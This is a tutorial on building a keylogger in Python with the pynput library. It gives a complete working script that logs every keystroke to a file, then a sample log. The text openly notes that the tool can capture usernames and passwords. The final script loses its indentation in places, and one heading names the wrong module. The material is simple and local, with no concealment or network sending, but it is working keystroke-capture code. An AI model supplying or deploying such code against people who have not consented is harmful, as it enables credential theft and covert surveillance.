Design a Keylogger in Python

Here we are going to develop a keylogger using python. But before that, what is a keylogger? Keylogger is a program with which we monitor keystrokes. These keystrokes will be stored in a log file. We can record sensitive information like username and password using this keystroke.
To create a keylogger we are going to use the pynput module. As its not the standard library of python, we might need to install it.
Installing pyxhook module −
I’m going to use pip to install pynput −
pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
To check our installation is successful, try to import the module in your python shell
>>> import pynput
>>>
Once the required library is installed, import the required packages and method. To monitor the keyboard, we are going to use the key and listener method of pynput.keyboard module. We are also going to use the logging module to log our keystrokes in a file.
from pynput.keyboard import Key, Listener
import logging
Next, we are going to set the path where we are going to store our log files, in what mode logs will be store and the format.
log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
Then we called the function on_press() which creates a definition for keypresses and take the key as a parameter.
def on_press(key):
   logging.info(str(key))
The last thing we are going to do is to set up an instance of Listener and define the on_press method in it and then join the instance to the main thread.
with Listener(on_press=on_press) as listener:
listener.join()
On combining the above mentioned step, we are in a stage to create our final program −
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
While my script is running, I tried to open a browser and type “hello world, Wikipedia”. Let’s see what happened to our log file −
I can see, a “keyLog.txt” file is created in my computer desktop and if I tried to see its content I get −
2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'
So we can see whatever I tried to type in my browser, every keystroke are stored in this file. So, we have made a very simple key logger in python here.